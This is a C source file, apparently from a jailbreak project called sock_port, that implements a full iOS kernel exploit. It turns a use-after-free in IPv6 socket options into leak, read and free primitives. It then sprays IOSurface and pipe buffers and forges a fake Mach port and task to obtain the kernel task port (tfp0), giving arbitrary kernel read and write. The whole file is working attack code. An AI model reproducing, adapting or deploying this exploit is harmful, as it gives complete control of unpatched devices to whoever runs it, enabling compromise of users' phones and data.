//
//  exploit.c
//  sock_port
//
//  Created by Jake James on 7/17/19.
//  Copyright © 2019 Jake James. All rights reserved.
//

#include "exploit.h"

// utilities to manipulate sockets
int set_minmtu(int sock, int *minmtu) {
    return setsockopt(sock, IPPROTO_IPV6, IPV6_USE_MIN_MTU, minmtu, sizeof(*minmtu));
}

int get_minmtu(int sock, int *minmtu) {
    socklen_t size = sizeof(*minmtu);
    return getsockopt(sock, IPPROTO_IPV6, IPV6_USE_MIN_MTU, minmtu, &size);
}

int get_prefertempaddr(int sock, int *prefertempaddr) {
    socklen_t size = sizeof(*prefertempaddr);
    return getsockopt(sock, IPPROTO_IPV6, IPV6_PREFER_TEMPADDR, prefertempaddr, &size);
}

int set_prefertempaddr(int sock, int *prefertempaddr) {
    return setsockopt(sock, IPPROTO_IPV6, IPV6_PREFER_TEMPADDR, prefertempaddr, sizeof(*prefertempaddr));
}

int get_pktinfo(int sock, struct in6_pktinfo *pktinfo) {
    socklen_t size = sizeof(*pktinfo);
    return getsockopt(sock, IPPROTO_IPV6, IPV6_PKTINFO, pktinfo, &size);
}

int set_pktinfo(int sock, struct in6_pktinfo *pktinfo) {
    return setsockopt(sock, IPPROTO_IPV6, IPV6_PKTINFO, pktinfo, sizeof(*pktinfo));
}

// free the pktopts struct of the socket to get ready for UAF
int free_socket_options(int sock) {
    return disconnectx(sock, 0, 0);
}

// return a socket we can UAF on
int get_socket() {
    int sock = socket(AF_INET6, SOCK_STREAM, IPPROTO_TCP);
    if (sock < 0) {
        printf("[-] Can't get socket, error %d (%s)\n", errno, strerror(errno));
        return -1;
    }
    
    // allow setsockopt() after disconnect()
    struct so_np_extensions sonpx = {.npx_flags = SONPX_SETOPTSHUT, .npx_mask = SONPX_SETOPTSHUT};
    int ret = setsockopt(sock, SOL_SOCKET, SO_NP_EXTENSIONS, &sonpx, sizeof(sonpx));
    if (ret) {
        printf("[-] setsockopt() failed, error %d (%s)\n", errno, strerror(errno));
        return -1;
    }
    
    return sock;
}

// return a socket ready for UAF
int get_socket_with_dangling_options() {
    int socket = get_socket();
    
    int minmtu = -1;
    set_minmtu(socket, &minmtu);
    
    free_socket_options(socket);
    
    return socket;
}

mach_port_t new_port() {
    mach_port_t port;
    kern_return_t rv = mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, &port);
    if (rv) {
        printf("[-] Failed to allocate port (%s)\n", mach_error_string(rv));
        return MACH_PORT_NULL;
    }
    rv = mach_port_insert_right(mach_task_self(), port, port, MACH_MSG_TYPE_MAKE_SEND);
    if (rv) {
        printf("[-] Failed to insert right (%s)\n", mach_error_string(rv));
        return MACH_PORT_NULL;
    }
    return port;
}

// first primitive: leak the kernel address of a mach port
uint32_t find_port_via_uaf(mach_port_t port, int disposition) {
    // here we use the uaf as an info leak
    int sock = get_socket_with_dangling_options();
    
    for (int i = 0; i < 0x10000; i++) {
        // since the UAFd field is 192 bytes, we need 192/sizeof(uint64_t) pointers
        //mach_port_t p = fill_kalloc_with_port_pointer(port, 192/sizeof(uint64_t), MACH_MSG_TYPE_COPY_SEND);
        mach_port_t p = fill_kalloc_with_port_pointer(port, (sizeof(struct ip6_pktopts) - 7) / sizeof(uint32_t), MACH_MSG_TYPE_COPY_SEND);
        
        int mtu;
        int pref;
        get_minmtu(sock, &mtu); // this is like doing rk32(options + 180);
        get_prefertempaddr(sock, &pref); // this like rk32(options + 184);
        
        // since we wrote 192/sizeof(uint64_t) pointers, reading like this would give us the second half of rk64(options + 184) and the fist half of rk64(options + 176)
        
        /*  from a hex dump:
         
         (lldb) p/x HexDump(options, 192)
         XX XX XX XX F0 FF FF FF  XX XX XX XX F0 FF FF FF  |  ................
         ...
         XX XX XX XX F0 FF FF FF  XX XX XX XX F0 FF FF FF  |  ................
                    |-----------||-----------|
                     minmtu here prefertempaddr here
         */
        
        // the ANDing here is done because for some reason stuff got wrong. say pref = 0xdeadbeef and mtu = 0, ptr would come up as 0xffffffffdeadbeef instead of 0x00000000deadbeef. I spent a day figuring out what was messing things up
        
        //uint64_t ptr = (((uint64_t)mtu << 32) & 0xffffffff00000000) | ((uint64_t)pref & 0x00000000ffffffff);
        
        //if (mtu >= 0xffffff00 && mtu != 0xffffffff && pref != 0xdeadbeef) {
        
        uint32_t ptr = mtu;
        if (mtu != 0xffffffff && mtu != 0 && pref != 0xdeadbeef && mtu == pref) {
        
            mach_port_destroy(mach_task_self(), p);
            close(sock);
            return ptr;
        }
        mach_port_destroy(mach_task_self(), p);
    }
    
    // close that socket.
    close(sock);
    return 0;
}

// function to cache our task port kernel address
uint32_t task_self_addr() {
    //static uint32_t cached_task_self_addr = 0;
    //if (cached_task_self_addr) return cached_task_self_addr;
    //else return find_port_via_uaf(mach_task_self(), MACH_MSG_TYPE_COPY_SEND);
    static uint32_t cached_task_self_addr = 0;
    if (cached_task_self_addr) {
        return cached_task_self_addr;
    } else {
        cached_task_self_addr = find_port_via_uaf(mach_task_self(), MACH_MSG_TYPE_COPY_SEND);
        return cached_task_self_addr;
    }
}

// second primitive: read 20 bytes from addr
void* read_20_via_uaf(uint32_t addr) {
    // create a bunch of sockets
    int sockets[128];
    for (int i = 0; i < 128; i++) {
        sockets[i] = get_socket_with_dangling_options();
    }
    
    // create a fake struct with our dangling port address as its pktinfo
    struct ip6_pktopts *fake_opts = calloc(1, sizeof(struct ip6_pktopts));
    fake_opts->ip6po_minmtu = 0x41424344; // give a number we can recognize
    //*(uint32_t*)((uint64_t)fake_opts + 164) = 0x41424344; // on iOS 10, offset is different
    *(uint32_t*)((uint64_t)fake_opts + 116) = 0x41424344;
    fake_opts->ip6po_pktinfo = (struct in6_pktinfo*)addr;
    
    bool found = false;
    int found_at = -1;
    
    for (int i = 0; i < 20; i++) { // iterate through the sockets to find if we overwrote one
        //spray_IOSurface((void *)fake_opts, sizeof(struct ip6_pktopts));
        spray_IOSurface((void *)fake_opts, sizeof(struct ip6_pktopts) - 8);
        
        for (int j = 0; j < 128; j++) {
            int minmtu = -1;
            get_minmtu(sockets[j], &minmtu);
            if (minmtu == 0x41424344) { // found it!
                found_at = j; // save its index
                found = true;
                break;
            }
        }
        if (found) break;
    }
    
    free(fake_opts);
    
    if (!found) {
        printf("[-] Failed to read kernel\n");
        return 0;
    }
    
    for (int i = 0; i < 128; i++) {
        if (i != found_at) {
            close(sockets[i]);
        }
    }
    
    void *buf = malloc(sizeof(struct in6_pktinfo));
    get_pktinfo(sockets[found_at], (struct in6_pktinfo *)buf);
    close(sockets[found_at]);
    
    return buf;
}

uint32_t rk32_via_uaf(uint32_t addr) {
    void *buf = read_20_via_uaf(addr);
    if (buf) {
        uint32_t r = *(uint32_t*)buf;
        free(buf);
        return r;
    }
    return 0;
}

// third primitive: free a kalloced object at an arbitrary address
int free_via_uaf(uint32_t addr) {
    // create a bunch of sockets
    int sockets[128];
    for (int i = 0; i < 128; i++) {
        sockets[i] = get_socket_with_dangling_options();
    }
    
    // create a fake struct with our dangling port address as its pktinfo
    struct ip6_pktopts *fake_opts = calloc(1, sizeof(struct ip6_pktopts));
    fake_opts->ip6po_minmtu = 0x41424344; // give a number we can recognize
    //*(uint32_t*)((uint64_t)fake_opts + 164) = 0x41424344; // on iOS 10, offset is different
    *(uint32_t*)((uint64_t)fake_opts + 116) = 0x41424344;
    
    fake_opts->ip6po_pktinfo = (struct in6_pktinfo*)addr;
    
    bool found = false;
    int found_at = -1;
    
    for (int i = 0; i < 20; i++) { // iterate through the sockets to find if we overwrote one
        //spray_IOSurface((void *)fake_opts, sizeof(struct ip6_pktopts));
        spray_IOSurface((void *)fake_opts, sizeof(struct ip6_pktopts) - 8);
        
        for (int j = 0; j < 128; j++) {
            int minmtu = -1;
            get_minmtu(sockets[j], &minmtu);
            if (minmtu == 0x41424344) { // found it!
                found_at = j; // save its index
                found = true;
                break;
            }
        }
        if (found) break;
    }
    
    free(fake_opts);
    
    if (!found) {
        printf("[-] failed to setup freeing primitive\n");
        return -1;
    }
    
    for (int i = 0; i < 128; i++) {
        if (i != found_at) {
            close(sockets[i]);
        }
    }
    struct in6_pktinfo *buf = malloc(sizeof(struct in6_pktinfo));
    memset(buf, 0, sizeof(struct in6_pktinfo));
    
    int ret = set_pktinfo(sockets[found_at], buf);
    free(buf);
    return ret;
}


static inline uint32_t mach_port_waitq_flags() {
    union waitq_flags waitq_flags = {};
    waitq_flags.waitq_type              = WQT_QUEUE;
    waitq_flags.waitq_fifo              = 1;
    waitq_flags.waitq_prepost           = 0;
    waitq_flags.waitq_irq               = 0;
    waitq_flags.waitq_isvalid           = 1;
    waitq_flags.waitq_turnstile_or_port = 1;
    return waitq_flags.flags;
}

uint32_t self_port_addr;
mach_port_t get_tfp0() {
    printf("[!] exploit started!\n");
    
    sp_offsets_init();
    
    kern_return_t ret = init_IOSurface();
    if (ret) {
        printf("[-] can't init IOSurface!\n");
        return MACH_PORT_NULL;
    }
    printf("[+] initialized IOSurface\n");

    bool SMAP = false;

    //if (pagesize == 0x4000) {
    //    struct utsname a;
    //    uname(&a);
    //    if (!strstr(a.machine, "iPad5,") && !strstr(a.machine, "iPad6,") && !strstr(a.machine, "iPhone8,")) {
            printf("[i] detected SMAP device\n");
            SMAP = true;
    //    }
    //}
    
    self_port_addr = task_self_addr(); // port leak primitive
    if (!self_port_addr) {
        printf("[-] failed to leak our task port address!\n");
        goto err;
    }
    
    printf("[i] our task port: 0x%x\n", self_port_addr);
    
    // kernel read primitive
    uint32_t ipc_space_kernel = rk32_via_uaf(self_port_addr + koffset(KSTRUCT_OFFSET_IPC_PORT_IP_RECEIVER));
    if (!ipc_space_kernel) {
        printf("[-] kernel read primitive failed!\n");
        goto err;
    }
    printf("[i] ipc_space_kernel: 0x%x\n", ipc_space_kernel);
    
    // here we'll create a pair of pipes (4 file descriptors in total)
    // first pipe, used to overwrite a port pointer in a mach message
    int fds[2];
    ret = pipe(fds);
    if (ret) {
        printf("[-] failed to create pipe\n");
        goto err;
    }
    
    // make the buffer of the first pipe 0x10000 bytes (this could be other sizes, but know that kernel does some calculations on how big this gets, i.e. when I made the buffer 20 bytes, it'd still go to kalloc.512
    //uint8_t pipebuf[0x10000];
    //memset(pipebuf, 0, 0x10000);
    static const size_t pipebuf_size = 0x8000;
    static uint8_t pipebuf[pipebuf_size];
        memset(pipebuf, 0, pipebuf_size);
    
    write(fds[1], pipebuf, pipebuf_size); // do write() to allocate the buffer on the kernel
    read(fds[0], pipebuf, pipebuf_size); // do read() to reset buffer position
    write(fds[1], pipebuf, sizeof(uint32_t)); // write 8 bytes so later we can read the first 8 bytes (used to verify if spraying worked)
    
    // second pipe, used for our fake port
    int port_fds[2] = {-1, -1};
    if (SMAP) {
        ret = pipe(port_fds);
        if (ret) {
            printf("[-] failed to create pipe\n");
            goto err;
        }
    }
    
    size_t fake_task_size = round_page_kernel(0x3b0);
    // create fake port and fake task, put fake_task right after fakeport
    kport_t *fakeport = malloc(sizeof(kport_t) + fake_task_size); // fake_task_size
    ktask_t *fake_task = (ktask_t *)((uint32_t)fakeport + sizeof(kport_t));
    bzero((void *)fakeport, sizeof(kport_t) + fake_task_size); // fake_task_size
    
    fake_task->ref_count = 0xff;
    
    fakeport->ip_bits = IO_BITS_ACTIVE | IKOT_TASK;
    fakeport->ip_references = 0xd00d;
    fakeport->ip_lock.type = 0x11;
    fakeport->ip_messages.port.receiver_name = 1;
    fakeport->ip_messages.port.msgcount = 0;
    fakeport->ip_messages.port.qlimit = MACH_PORT_QLIMIT_LARGE;
    fakeport->ip_messages.port.waitq.flags = mach_port_waitq_flags();
    fakeport->ip_srights = 99;
    fakeport->ip_kobject = 0;
    fakeport->ip_receiver = ipc_space_kernel;

    if (SMAP) {
        write(port_fds[1], (void *)fakeport, sizeof(kport_t) + fake_task_size); // fake_task_size
        read(port_fds[0], (void *)fakeport, sizeof(kport_t) + fake_task_size); // fake_task_size
    }
    
    // find the pipe buffers for both pipes
    
#define rk32_check(addr) ({ uint32_t r; r = rk32_via_uaf(addr); if (!r) { usleep(100); r = rk32_via_uaf(addr); if (!r) { printf("[-] failed to read from '"#addr"'\n"); goto err;}}; r;})
    
    uint32_t task = rk32_check(self_port_addr + koffset(KSTRUCT_OFFSET_IPC_PORT_IP_KOBJECT));
    uint32_t proc = rk32_check(task + koffset(KSTRUCT_OFFSET_TASK_BSD_INFO));
    //self_proc_addr = proc;
    
    uint32_t p_fd = rk32_check(proc + koffset(KSTRUCT_OFFSET_PROC_P_FD));
    uint32_t fd_ofiles = rk32_check(p_fd + koffset(KSTRUCT_OFFSET_FILEDESC_FD_OFILES));
    
    uint32_t fproc = rk32_check(fd_ofiles + fds[0] * sizeof(uint32_t));
    uint32_t f_fglob = rk32_check(fproc + koffset(KSTRUCT_OFFSET_FILEPROC_F_FGLOB));
    uint32_t fg_data = rk32_check(f_fglob + koffset(KSTRUCT_OFFSET_FILEGLOB_FG_DATA));
    uint32_t pipe_buffer = rk32_check(fg_data + koffset(KSTRUCT_OFFSET_PIPE_BUFFER));
    printf("[*] pipe buffer: 0x%x\n", pipe_buffer);

    uint32_t port_fg_data = 0;
    uint32_t port_pipe_buffer = 0;
    
    if (SMAP) {
        fproc = rk32_check(fd_ofiles + port_fds[0] * sizeof(uint32_t));
        f_fglob = rk32_check(fproc + koffset(KSTRUCT_OFFSET_FILEPROC_F_FGLOB));
        port_fg_data = rk32_check(f_fglob + koffset(KSTRUCT_OFFSET_FILEGLOB_FG_DATA));
        port_pipe_buffer = rk32_check(port_fg_data + koffset(KSTRUCT_OFFSET_PIPE_BUFFER));
        printf("[*] second pipe buffer: 0x%x\n", port_pipe_buffer);
    }
    
    if (SMAP) {
        // align ip_kobject at our fake task, so the address of fake port + sizeof(kport_t)
        fakeport->ip_kobject = port_pipe_buffer + sizeof(kport_t);
    }
    else {
        fakeport->ip_kobject = (uint32_t)fake_task;
    }
    
    if (SMAP) {
        // update our pipe buffer
        write(port_fds[1], (void *)fakeport, sizeof(kport_t) + fake_task_size); // fake_task_size
    }
    
    // create a new port, this one we'll use for tfp0
    mach_port_t target = new_port();
    if (!target) {
        printf("[-] failed to allocate port\n");
        goto err;
    }
    
    // get its kernel address
    uint32_t target_addr = find_port_via_uaf(target, MACH_MSG_TYPE_COPY_SEND);
    if (!target_addr) {
        printf("[-] failed to leak target port address\n");
        goto err;
    }
    
    // free the first pipe buffer
    ret = free_via_uaf(pipe_buffer);
    if (ret) {
        printf("[-] failed to free pipe buffer\n");
        goto err;
    }

    // reallocate it while filling it with a mach message containing send rights to our target port
    mach_port_t p = MACH_PORT_NULL;
    for (int i = 0; i < 10000; i++) {
        
        // pipe is 0x10000 bytes so make 0x10000/8 pointers and save result as we'll use later
        p = fill_kalloc_with_port_pointer(target, pipebuf_size/sizeof(uint32_t), MACH_MSG_TYPE_COPY_SEND);
        
        // check if spraying worked by reading first 8 bytes
        uint32_t addr;
        read(fds[0], &addr, sizeof(uint32_t));
        if (addr == target_addr) { // if we see the address of our port, it worked
            break;
        }
        write(fds[1], &addr, sizeof(uint32_t)); // reset buffer position
        
        mach_port_destroy(mach_task_self(), p); // spraying didn't work, so free port
        p = MACH_PORT_NULL;
    }

    if (!p) {
        printf("[-] spraying failed!");
        goto err;
    }
    
    if (SMAP) {
        // spraying worked, now the pipe buffer is filled with pointers to our target port
        // overwrite the first pointer with our second pipe buffer, which contains the fake port
        write(fds[1], &port_pipe_buffer, sizeof(uint32_t));
    }
    else {
        write(fds[1], &fakeport, sizeof(uint32_t));
    }
    
    // receive the message from fill_kalloc_with_port_pointers back, since that message contains a send right and we overwrote the pointer of the first port, we now get a send right to the fake port!
    struct ool_msg *msg = malloc(0x1000);
    ret = mach_msg(&msg->hdr, MACH_RCV_MSG, 0, 0x1000, p, MACH_MSG_TIMEOUT_NONE, MACH_PORT_NULL);
    if (ret) {
        free(msg);
        printf("[-] mach_msg() failed: %d (%s)\n", ret, mach_error_string(ret));
        goto err;
    }
    
    mach_port_t *received_ports = msg->ool_ports.address;
    mach_port_t our_port = received_ports[0]; // fake port!
    free(msg);
    
    uint32_t *read_addr_ptr = (uint32_t *)((uint32_t)fake_task + koffset(KSTRUCT_OFFSET_TASK_BSD_INFO));
    
#define kr32(addr, value)\
    if (SMAP) {\
        read(port_fds[0], (void *)fakeport, sizeof(kport_t) + fake_task_size);\
    }\
    *read_addr_ptr = addr - koffset(KSTRUCT_OFFSET_PROC_PID);\
    if (SMAP) {\
        write(port_fds[1], (void *)fakeport, sizeof(kport_t) + fake_task_size);\
    }\
    value = 0x0;\
    ret = pid_for_task(our_port, (int *)&value);
    
    uint32_t read64_tmp;
    
//#define kr64(addr, value)\
//    kr32(addr + 0x4, read64_tmp);\
//    kr32(addr, value);\
//    value = value | ((uint64_t)read64_tmp << 32)
    
    uint32_t struct_task;
    kr32(self_port_addr + koffset(KSTRUCT_OFFSET_IPC_PORT_IP_KOBJECT), struct_task);
    if (!struct_task) {
        printf("[-] kernel read failed!\n");
        goto err;
    }
    
    printf("[!] READING VIA FAKE PORT WORKED? 0x%x\n", struct_task);
    printf("[+] Let's steal that kernel task port!\n");
    
    // tfp0!
    
    uint32_t kernel_vm_map = 0;
    
    while (struct_task != 0) {
        uint32_t bsd_info;
        kr32(struct_task + koffset(KSTRUCT_OFFSET_TASK_BSD_INFO), bsd_info);
        if (!bsd_info) {
            printf("[-] kernel read failed!\n");
            goto err;
        }
        
        uint32_t pid;
        kr32(bsd_info + koffset(KSTRUCT_OFFSET_PROC_PID), pid);
        
        if (pid == 0) {
            uint32_t vm_map;
            kr32(struct_task + koffset(KSTRUCT_OFFSET_TASK_VM_MAP), vm_map);
            if (!vm_map) {
                printf("[-] kernel read failed!\n");
                goto err;
            }
            
            kernel_vm_map = vm_map;
            break;
        }
        
        kr32(struct_task + koffset(KSTRUCT_OFFSET_TASK_PREV), struct_task);
    }
    
    if (!kernel_vm_map) {
        printf("[-] failed to find kernel's vm_map\n");
        goto err;
    }
    
    printf("[i] kernel_vm_map: 0x%x\n", kernel_vm_map);
    
    read(port_fds[0], (void *)fakeport, sizeof(kport_t) + fake_task_size);
    
    fake_task->lock.data = 0x0;
    fake_task->lock.type = 0x22;
    fake_task->ref_count = 100;
    fake_task->active = 1;
    fake_task->map = kernel_vm_map;
    *(uint32_t *)((uint32_t)fake_task + koffset(KSTRUCT_OFFSET_TASK_ITK_SELF)) = 1;

    if (SMAP) {
        write(port_fds[1], (void *)fakeport, sizeof(kport_t) + fake_task_size);
    }
    
    init_kernel_memory(our_port);
    
    uint32_t addr = (uint32_t)kalloc(8);
    if (!addr) {
        printf("[-] seems like tfp0 port didn't work?\n");
        goto err;
    }
    
    printf("[*] allocated: 0x%x\n", addr);
    //wk64(addr, 0x4141414141414141);
    wk32(addr, 0x41414141);
    //uint64_t readb = rk64(addr);
    uint32_t readb = rk32(addr);
    //kfree(addr, 8);
    kfree(addr, 4);
    printf("[*] read back: 0x%x\n", readb);
    
    //if (readb != 0x4141414141414141) {
    if (readb != 0x41414141) {
        printf("[-] read back value didn't match\n");
        goto err;
    }
    
    printf("[*] creating safer port\n");
    
    mach_port_t new_tfp0 = new_port();
    if (!new_tfp0) {
        printf("[-] failed to allocate new tfp0 port\n");
        goto err;
    }
    
    uint32_t new_addr = find_port(new_tfp0, self_port_addr);
    if (!new_addr) {
        printf("[-] failed to find new tfp0 port address\n");
        goto err;
    }
    
    uint32_t faketask = (uint32_t)kalloc(fake_task_size);
    if (!faketask) {
        printf("[-] failed to kalloc faketask\n");
        goto err;
    }
    
    kwrite(faketask, fake_task, fake_task_size);
    fakeport->ip_kobject = faketask;
    
    kwrite(new_addr, (const void*)fakeport, sizeof(kport_t));
    
    printf("[*] testing new tfp0 port\n");
    
    init_kernel_memory(new_tfp0);
    
    addr = (uint32_t)kalloc(8);
    if (!addr) {
        printf("[-] seems like the new tfp0 port didn't work?\n");
        goto err;
    }
    
    printf("[+] tfp0: 0x%x\n", new_tfp0);
    printf("[*] allocated: 0x%x\n", addr);
    //wk64(addr, 0x4141414141414141);
    //readb = rk64(addr);
    //kfree(addr, 8);
    wk32(addr, 0x41414141);
    readb = rk32(addr);
    kfree(addr, 4);
    printf("[*] read back: 0x%x\n", readb);
    
    //if (readb != 0x4141414141414141) {
    if (readb != 0x41414141) {
        printf("[-] read back value didn't match\n");
        goto err;
    }
    
    // clean up port
    uint32_t task_addr = rk32(self_port_addr + koffset(KSTRUCT_OFFSET_IPC_PORT_IP_KOBJECT));
    uint32_t itk_space = rk32(task_addr + koffset(KSTRUCT_OFFSET_TASK_ITK_SPACE));
    uint32_t is_table = rk32(itk_space + koffset(KSTRUCT_OFFSET_IPC_SPACE_IS_TABLE));
    
    uint32_t port_index = our_port >> 8;
    const int sizeof_ipc_entry_t = koffset(KSTRUCT_SIZE_IPC_ENTRY);
    
    wk32(is_table + (port_index * sizeof_ipc_entry_t) + sizeof(uint32_t), 0);
    wk32(is_table + (port_index * sizeof_ipc_entry_t), 0);

    wk32(fg_data + koffset(KSTRUCT_OFFSET_PIPE_BUFFER), 0); // freed already via mach_msg()
    
    if (fds[0] > 0)  close(fds[0]);
    if (fds[1] > 0)  close(fds[1]);
    if (port_fds[0] > 0)  close(port_fds[0]);
    if (port_fds[1] > 0)  close(port_fds[1]);
    
    free((void *)fakeport);
    deinit_IOSurface();
    return new_tfp0;
    
err:
    if (port_fds[0] > 0)  close(port_fds[0]);
    if (port_fds[1] > 0)  close(port_fds[1]);
    
    deinit_IOSurface();
    return MACH_PORT_NULL;
}

extern uintptr_t kernel_base;
extern uintptr_t kaslr_slide;
extern task_t tfp0;

mach_port_t sock_port_me_harder(void) {
    tfp0 = 0x0;
    do {
        tfp0 = get_tfp0();
    } while (!tfp0);
    kernel_base = get_kernel_base(tfp0);
    return tfp0;
}
